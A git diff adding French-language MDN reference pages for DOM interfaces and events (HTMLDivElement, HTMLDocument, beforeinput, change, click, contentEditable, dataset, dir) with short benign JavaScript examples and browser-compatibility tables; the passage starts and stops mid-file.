+ <dd>Une chaîne de caractères {{domxref("DOMString")}} qui représente une propriété à valeur contrainte indiquant l'alignement du contenu de l'élément par rapport à son contexte. Les valeurs possibles pour cette propriété sont <code>"left"</code>, <code>"right"</code>, <code>"justify"</code> et <code>"center"</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Aucune méthode spécifique. Toutes les méthodes sont héritées depuis le parent {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmldivelement", "HTMLDivElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-div-element", "HTMLDivElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Aucune modification depuis {{SpecName("DOM2 HTML")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-22445964', 'HTMLDivElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Aucune modification depuis {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-22445964', 'HTMLDivElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.HTMLDivElement")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément HTML qui implémente cette interface : {{HTMLElement("div")}}.</li>
+</ul>
diff --git a/files/fr/web/api/htmldocument/index.html b/files/fr/web/api/htmldocument/index.html
new file mode 100644
index 0000000000..ff96e73ff6
--- /dev/null
+++ b/files/fr/web/api/htmldocument/index.html
@@ -0,0 +1,16 @@
+---
+title: HTMLDocument
+slug: Web/API/HTMLDocument
+translation_of: Web/API/HTMLDocument
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p><strong><code>HTMLDocument</code></strong> est une interface abstraite de <a href="/fr-FR/docs/DOM" title="en/DOM">DOM</a> qui fournit un accès aux propriétés spéciales et aux méthodes non présentes par défaut dans un document ordinaire (XML).</p>
+
+<p>Ses méthodes et propriétés sont incluses dans la page {{domxref("document")}} et listées séparément dans leur propre section DOM référencées ci-dessus.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268" rel="freelink">http://www.w3.org/TR/DOM-Level-2-HTM...ml#ID-26809268</a></li>
+</ul>
diff --git a/files/fr/web/api/htmlelement/beforeinput_event/index.html b/files/fr/web/api/htmlelement/beforeinput_event/index.html
new file mode 100644
index 0000000000..72f9239a17
--- /dev/null
+++ b/files/fr/web/api/htmlelement/beforeinput_event/index.html
@@ -0,0 +1,96 @@
+---
+title: 'HTMLElement: beforeinput event'
+slug: Web/API/HTMLElement/beforeinput_event
+translation_of: Web/API/HTMLElement/beforeinput_event
+---
+<div>{{APIRef}} {{SeeCompatTable}}</div>
+
+<p>L’évènement DOM <strong><code>beforeinput</code></strong> est émis quand la valeur d’un élément {{HTMLElement("input")}}, {{HTMLElement("select")}}, ou {{HTMLElement("textarea")}} est sur le point d’être modifié. L’évènement s’applique également aux éléments ayant l’attribut {{domxref("HTMLElement.contentEditable", "contenteditable")}} actif, et à tout élément quand le {{domxref("Document.designMode", "designMode")}} est activé.</p>
+
+<p>Dans le cas de <code>contenteditable</code> et <code>designMode</code>, la cible de l’évènement est <em>l’hôte d’édition.</em> Si ces propriétés s’appliquent à plusieurs éléments, l’hôte d’édition est le plus proche ancêtre dont le parent n’est pas éditable.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th>Bouillonne</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th>Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th>Interface</th>
+   <td>{{DOMxRef("InputEvent")}}</td>
+  </tr>
+  <tr>
+   <th>Propriété gestionnaire d’évènement</th>
+   <td>Aucune</td>
+  </tr>
+  <tr>
+   <th>Sync / Async</th>
+   <td>Sync</td>
+  </tr>
+  <tr>
+   <th>Composé</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th>Action par défaut</th>
+   <td>Mettre à jour l’élément DOM</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple affiche la valeur de l’élément {{HtmlElement("input")}} juste avant qu’elle soit modifiée.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input placeholder="Saisissez du texte" name="name"/&gt;
+&lt;p id="values"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const input = document.querySelector('input');
+const log = document.getElementById('values');
+
+input.addEventListener('beforeinput', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.target.value;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Examples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', "#event-type-beforeinput", "beforeinput event")}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.HTMLElement.beforeinput_event")}}</p>
+
+
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Évènement associé : <code><a href="/en-US/docs/Web/API/HTMLElement/input_event">input</a></code></li>
+</ul>
diff --git a/files/fr/web/api/htmlelement/change_event/index.html b/files/fr/web/api/htmlelement/change_event/index.html
new file mode 100644
index 0000000000..552a6d0e70
--- /dev/null
+++ b/files/fr/web/api/htmlelement/change_event/index.html
@@ -0,0 +1,167 @@
+---
+title: change
+slug: Web/API/HTMLElement/change_event
+tags:
+  - Change
+  - DOM
+  - Event
+  - HTML
+  - Reference
+  - Web
+  - Élément HTML
+translation_of: Web/API/HTMLElement/change_event
+---
+<p>{{APIRef}}</p>
+
+<p>L'événement <strong>change</strong> est déclenché pour les éléments {{HTMLElement("input")}} <em>(entrée)</em>, {{HTMLElement("select")}} <em>(sélection)</em> et {{HTMLElement("textarea")}} <em>(zone de texte)</em> lorsqu'un changement de leur valeur est réalisé par l'utilisateur. Contrairement à l'événement {{event("input")}}, <strong>change</strong> n'est pas nécessairement déclenché pour chaque changement de valeur.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Propagation</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Gestionnaire d'événements</th>
+   <td>{{domxref("GlobalEventHandlers/onchange", "onchange")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En fonction du type d'élément de formulaire modifié et de la manière dont l'utilisateur interagit avec cet élément, l'événement <strong>change</strong> se déclenche à un moment différent :</p>
+
+<ul>
+ <li>Quand l'élément est activé (en cliquant ou en utilisant le clavier) pour <code>&lt;input type="radio"&gt;</code> et <code>&lt;input type="checkbox"&gt;</code><em>(case à cocher</em>).</li>
+ <li>Quand l'utilisateur réalise le changement de manière explicite (par exemple, en sélectionnant une valeur venant d'un {{HTMLElement("select")}} d'un menu déroulant avec le clic d'une souris, en sélectionnant une date d'un "date picker" <em>(sélecteur de date)</em> pour <code>&lt;input type="date"&gt;</code>, en sélectionnant un fichier d'un "file picker" <em>(sélecteur de fichier)</em> pour <code>&lt;input type="file"&gt;</code>, etc.).</li>
+ <li>Quand l'élément perd le focus après que sa valeur a été changée, mais pas validée (par exemple, après l'édition d'une valeur de {{HTMLElement("textarea")}} ou <code>&lt;input type="text"&gt;</code>).</li>
+</ul>
+
+<p>Les différents navigateurs ne sont pas toujours d'accord sur le fait que l'événement <strong>change</strong> doit être déclenché pour certains types d'interactions. Par exemple, la navigation avec le clavier dans les éléments {{HTMLElement("select")}} ne déclenche jamais l'événement dans Gecko jusqu'à ce que l'utilisateur appuie sur la touche Entrée ou déplace le focus en dehors du &lt;select&gt; (voir {{bug("126379")}}).</p>
+
+<p><a href="https://html.spec.whatwg.org/multipage/forms.html#concept-input-apply">La spécification HTML répertorie les types <code>&lt;input&gt;</code> qui doivent déclencher l'événement <code>change</code>.</a></p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Lélément_&lt;select>">L'élément &lt;select&gt;</h3>
+
+<p>Le code suivant gère l'événement <strong>change</strong> sur {{HTMLElement("select")}} en appellant la fonction <code>changeEventHandler() </code>dans<code> l'attribut <em>onchange</em>. Il lit la valeur de la cible de l'événement et la montre dans une alerte.</code></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;label&gt;Choose an ice cream flavor:
+  &lt;select class="ice-cream" name="ice-cream"&gt;
+    &lt;option value=""&gt;Select One …&lt;/option&gt;
+    &lt;option value="chocolate"&gt;Chocolate&lt;/option&gt;
+    &lt;option value="sardine"&gt;Sardine&lt;/option&gt;
+    &lt;option value="vanilla"&gt;Vanilla&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/label&gt;
+
+&lt;div class="result"&gt;&lt;/div&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  display: grid;
+  grid-template-areas: "select result";
+}
+
+select {
+  grid-area: select;
+}
+
+.result {
+  grid-area: result;
+}</pre>
+</div>
+
+<h4 id="Javascript">Javascript</h4>
+
+<pre class="brush: js">const selectElement = document.querySelector('.ice-cream');
+
+selectElement.addEventListener('change', (event) =&gt; {
+  const result = document.querySelector('.result');
+  result.textContent = `You like ${event.target.value}`;
+});</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{ EmbedLiveSample('Lélément_&lt;select&gt;', '100%', '75px') }}</p>
+
+<h3 id="Lélément_dentrée_de_texte">L'élément d'entrée de texte</h3>
+
+<p>Pour certains éléments, notamment <code>&lt;input type="text"&gt;</code>, l'événement de changement ne se déclenche pas tant que le contrôle ne perd pas le focus. Essayez de saisir quelque chose dans le champ ci-dessous, puis cliquez ailleurs pour déclencher l'événement.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;input placeholder="Enter some text" name="name"/&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('change', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.target.value;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{ EmbedLiveSample('Lélément_dentrée_de_texte', '100%', '75px') }}</p>
+
+<ul>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "indices.html#event-change", "change")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "webappapis.html#handler-onchange", "change")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-eventgroupings-htmlevents", "change")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateurs">Compatibilités navigateurs</h2>
+
+
+
+<p>{{Compat("api.GlobalEventHandlers.onchange")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>Cet événement est aussi déclenché dans plusieurs API non-standard:</p>
+
+<ul>
+ <li>{{domxref("NetworkInformation.connection")}} déclenche l'événement <strong>change</strong> lorsque les informations de connexions changent.</li>
+ <li>{{domxref("DeviceStorageChangeEvent")}} est déclenché à chaque fois qu'un fichier est créé, modifié, ou supprimé du système de stockage du périphérique.</li>
+</ul>
diff --git a/files/fr/web/api/htmlelement/click/index.html b/files/fr/web/api/htmlelement/click/index.html
new file mode 100644
index 0000000000..554b3ec9a7
--- /dev/null
+++ b/files/fr/web/api/htmlelement/click/index.html
@@ -0,0 +1,123 @@
+---
+title: element.click
+slug: Web/API/HTMLElement/click
+tags:
+  - DOM
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLElement/click
+---
+<p>{{ ApiRef() }}</p>
+<h2 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h2>
+<p>La méthode <b>click</b> simule un clic sur un élément.</p>
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+<pre class="syntaxbox">element.click()</pre>
+<h2 id="Notes" name="Notes">Notes</h2>
+<p>Lorsque la méthode <code>click</code> est utilisée sur des éléments où elle est gérée (par exemple un {{HTMLElement("input")}}), elle déclenche également l'évènement <code>click</code> de l'élément qui se propagera aux éléments situés plus haut dans l'arbre du document (ou la chaîne évènementielle) et déclenchera aussi leurs évènements <code>click</code>. Cependant, la propagation d'un évènement <code>click</code> ne déclenchera pas la navigation à partir d'un élément {{HTMLElement("a")}} comme si un vrai clic de souris avait été reçu.</p>
+<p>Au moment où sont écrites ces lignes (Opera Next est à la version 12.11), la méthode <code>click</code> d'Opera <strong>sera ignorée silencieusement</strong>, si executée sur un élément {{HTMLElement("input")}} avec un type "file", et une propriété <a href="/fr/docs/CSS" title="/fr/docs/CSS">CSS</a> {{cssxref('display')}} à "none".</p>
+<div class="geckoVersionNote">
+ <p>{{gecko_callout_heading("5.0")}}</p>
+ <p>Avant Gecko 5.0 {{geckoRelease("5.0")}}, Gecko supportait la méthode <code>click</code> qu'avec des éléments {{HTMLElement("input")}} de type
+  <i>
+   button</i>
+  ,
+  <i>
+   checkbox</i>
+  ,
+  <i>
+   radio</i>
+  ,
+  <i>
+   reset</i>
+  ou
+  <i>
+   submit</i>
+  . Gecko n'implémentait pas la méthode <code>click</code> sur d'autres éléments qui auraient pu répondre à des clics de souris comme les liens (éléments {{HTMLElement("a")}}), et ne déclenchait pas nécessairement l'évènement click d'autres éléments.</p>
+ <p>Cependant, maintenant Gecko supporte la méthode sur tous les éléments comme requis par <a href="/fr/docs/HTML/HTML5" title="/fr/docs/HTML/HTML5">HTML5</a>.</p>
+ <p>D'autres implémentations du DOM peuvent se comporter différemment.</p>
+</div>
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}} <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2/html/html.html#ID-2651361">traduction en français</a> (non normative)</small></td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>5</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>input@file (limited)</code></td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>4</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>12.10</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>input@file (full)</code></td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>4</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Android</th>
+    <th>Chrome pour Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div class="note">
+ <p><strong>Note :</strong> <em>Support de base</em>, se réfère ici au minimum requis pas la spécification.</p>
+</div>
+<p><br>
+  </p>
diff --git a/files/fr/web/api/htmlelement/contenteditable/index.html b/files/fr/web/api/htmlelement/contenteditable/index.html
new file mode 100644
index 0000000000..1863ffa2aa
--- /dev/null
+++ b/files/fr/web/api/htmlelement/contenteditable/index.html
@@ -0,0 +1,113 @@
+---
+title: HTMLElement.contentEditable
+slug: Web/API/HTMLElement/contentEditable
+tags:
+  - API
+  - HTML DOM
+  - HTMLElement
+  - Référence(2)
+  - contenteditable
+translation_of: Web/API/HTMLElement/contentEditable
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p><code>La propriété </code><strong><code>HTMLElement.contentEditable</code></strong> est utilisée pour indiquer si un élément HTML est ou non éditable. Cet attribut peut avoir 3 valeurs :</p>
+
+<ul>
+ <li><code>"true"</code> <em>(vrai)</em> indique que l'élément est éditable.</li>
+ <li><code>"false"</code> <em>(faux)</em> indique que l'élément ne sera pas éditable.</li>
+ <li><code>"inherit"</code>  <em>(hérité)</em> indique que l'élément héritera de l'état editable de son parent.</li>
+</ul>
+
+<p>Vous pouvez utiliser la propriété {{domxref("HTMLElement.isContentEditable")}} pour tester la valeur de la propriété {{domxref("Boolean")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>editable</em> = element.contentEditable
+element.contentEditable = "true"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#contenteditable', 'contenteditable')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.9)}}</td>
+   <td>6<sup>[1]</sup></td>
+   <td>10.6</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9)}}</td>
+   <td>6<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer a un tas de bogues concernant l'implémentation de cette fonctionnalité. IE10 se bloque dans certains cas lors de la modification des listes (<a href="https://connect.microsoft.com/IE/feedback/details/796187/internet-explorer-10-crash-with-contenteditable-list">bug 796187</a>). IE11 + utilise un positionnement non valide pour lorsqu'un élément est flottant (<a href="https://connect.microsoft.com/IE/feedback/details/858749">bug 858749</a>). Dans IE9-10, la fenêtre se fige lorsque vous utilisez la molette de la souris pendant le déplacement (<a href="https://connect.microsoft.com/IE/feedbackdetail/view/809254">bug 809254</a>). IE10-11 ne déclenche pas l'événement d'<a href="/en-US/docs/Web/Events/input"><code>input</code></a> (<a href="https://connect.microsoft.com/IE/feedbackdetail/view/794285">bug 794285</a>). IE10 se bloque après avoir sélectionné "Couper" dans le menu contextuel (<a href="https://connect.microsoft.com/IE/feedbackdetail/view/801770">bug 801770</a>). IE11 + ne permet pas de placer le caret dans une cellule de tableau vide (bug 807199). IE10 ne déclenche pas d'événement de <a href="https://developer.mozilla.org/fr/docs/Web/Events/contextmenu"><code>contextmenu</code></a> lorsque vous cliquez avec le bouton droit sur des mots mal orthographiés (<a href="https://connect.microsoft.com/IE/feedbackdetail/view/774350">bug 774350</a>). IE11 ajoute des éléments {{HTMLElement ("br")}} à {{HTMLElement ("body")}} lors de l'affichage / dissimulation d'un {{HTMLElement ("iframe")}} avec un document contenteditable à l'intérieur (<a href="https://connect.microsoft.com/IE/feedbackdetail/view/864804">bug 864804</a>). IE11 ne permet pas de désactiver les poignées de redimensionnement pour les images / entrées (<a href="https://connect.microsoft.com/IE/feedbackdetail/view/907422">bug 907422</a>).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>  <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Contenu_editable">Contenu editable</a></li>
+ <li>{{domxref("HTMLElement.isContentEditable")}}</li>
+ <li>L'attribut global <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Attributs_universels/contenteditable">contenteditable</a> .</li>
+</ul>
diff --git a/files/fr/web/api/htmlelement/dataset/index.html b/files/fr/web/api/htmlelement/dataset/index.html
new file mode 100644
index 0000000000..fa7ece8acc
--- /dev/null
+++ b/files/fr/web/api/htmlelement/dataset/index.html
@@ -0,0 +1,102 @@
+---
+title: HTMLElement.dataset
+slug: Web/API/HTMLElement/dataset
+tags:
+  - API
+  - HTML DOM
+  - HTMLElement
+  - Propriété
+  - Référence(2)
+  - dataset
+translation_of: Web/API/HTMLOrForeignElement/dataset
+---
+<p>{{ APIRef }}</p>
+
+<p>La propriété <code><strong>HTMLElement.dataset</strong></code> fournit un accès en mode lecture et écriture, à tous les <a href="/fr/docs/Web/HTML/Attributs_globaux/data-*" title="https://developer.mozilla.org/fr/docs/Web/HTML/Attributs_globaux/data-*">attributs de données sur mesure</a> (<em>data-*</em>) définis sur l'élément. C'est un <a href="/en/DOM/DOMStringMap" title="en/DOM/DOMStringMap">tableau associatif de DOMString</a>, qui associe à chaque nom d'attribut de données sur mesure la valeur qu'il contient.</p>
+
+<p>Le nom d'un attribut de données sur mesure commence par <code>data-</code>. Il ne doit contenir que des lettres, des nombres et les caractères suivants : tiret (<code>-</code>), point (<code>.</code>), deux-points (<code>:</code>), tiret bas (<code>_</code>). De plus, il ne doit pas contenir des lettres majuscules ASCII (<code>A</code> à <code>Z</code>).</p>
+
+<p>Un nom d'attribut de données sur mesure est transformé en clef pour l'entrée de la {{ domxref("DOMStringMap") }} avec les règles suivantes :</p>
+
+<ul>
+ <li>le préfixe <code>data-</code> est enlevé (y compris le tiret) ;</li>
+ <li>pour tout tiret (<code>U+002D</code>) suivi par une <span style="line-height: 1.5;"> lettre minuscule ASCII</span><code> a</code><span style="line-height: 1.5;"> à </span><code>z</code><span style="line-height: 1.5;">, le tiret est enlevé et la lettre est transformée en la majuscule correspondante ;</span></li>
+ <li>les autres caractères (y compris les autres tirets) ne sont pas modifiés.</li>
+</ul>
+
+<p>La transformation opposée, qui associe un nom d'attribut à une clef, utilise les règles suivantes :</p>
+
+<ul>
+ <li>Restriction : Aucun tiret ne doit être immédiatement suivi d'une lettre minuscule ASCII <code>a</code> à <code>z</code> (avant la transformation) ;</li>
+ <li>un préfixe <code>data-</code> est ajouté ;</li>
+ <li>toute lettre majuscule ASCII <code>A</code> à <code>Z</code> est transformée en un tiret suivi de la minuscule correspondante ;</li>
+ <li>les autres caractères ne sont pas modifiés.</li>
+</ul>
+
+<p>La restriction dans les règles ci-dessus garantit que les deux transformations sont bien l'inverse l'une de l'autre.</p>
+
+<p>Par exemple, l'attribut nommé <code>data-abc-def</code> correspond à la clef <code>abcDef</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>chaîne</em> = <em>element</em>.dataset.<em>nomEnCamelCase</em>;
+<em>element.</em>dataset.<em>nomEnCamelCase</em> = <em>chaîne</em>;</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">&lt;div id="utilisateur" data-id="1234567890" data-utilisateur="Monsieur Tartempion" data-date-de-naissance&gt;Monsieur Tartempion
+&lt;/div&gt;
+
+var el = document.querySelector('#utilisateur');
+
+// el.id == 'utilisateur'
+// el.dataset.id === '1234567890'
+// el.dataset.utilisateur === 'Monsieur Tartempion'
+// el.dataset.dateDeNaissance === ''
+
+el.dataset.dateDeNaissance = '1960-10-03'; // renseigne la date de naissance.
+
+// 'unAttributDeDonnees' in el.dataset === false
+
+el.dataset.unAttributDeDonnees = 'mes données';
+// 'unAttributDeDonnees' in el.dataset === true
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis le dernier instantané (snapshot), {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Instantané de {{SpecName('HTML WHATWG')}}, pas de changement depuis {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Instantané de {{SpecName('HTML WHATWG')}}, définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.dataset")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La classe des attributs globaux HTML <a href="/fr/docs/Web/HTML/Attributs_globaux/data-*"><strong>data-*</strong></a>.</li>
+</ul>
diff --git a/files/fr/web/api/htmlelement/dir/index.html b/files/fr/web/api/htmlelement/dir/index.html
new file mode 100644
index 0000000000..e4bd63a25e
--- /dev/null
+++ b/files/fr/web/api/htmlelement/dir/index.html
@@ -0,0 +1,48 @@
+---
+title: element.dir
+slug: Web/API/HTMLElement/dir
+tags:
+  - DOM
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLElement/dir
+---
+<p>{{ ApiRef() }}</p>
+<h2 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h2>
+<p>L'attribut <code><strong>dir</strong></code> obtient ou définit la direction d'écriture du texte pour le contenu de l'élément courant.</p>
+<h2 id="Syntaxe_et_valeurs" name="Syntaxe_et_valeurs">Syntaxe et valeurs</h2>
+<pre class="brush: js">var <var>DirectionActuelle</var> = referenceElement.dir;
+referenceElement.dir = <var>NouvelleDirection</var>;
+</pre>
+<p><var>DirectionActuelle</var> est une variable chaîne de caractères représentant la direction d'écriture du texte pour l'élément courant. <var>NouvelleDirection</var> est une variable chaîne de caractères représentant la nouvelle direction d'écriture du texte souhaitée pour l'élément.</p>
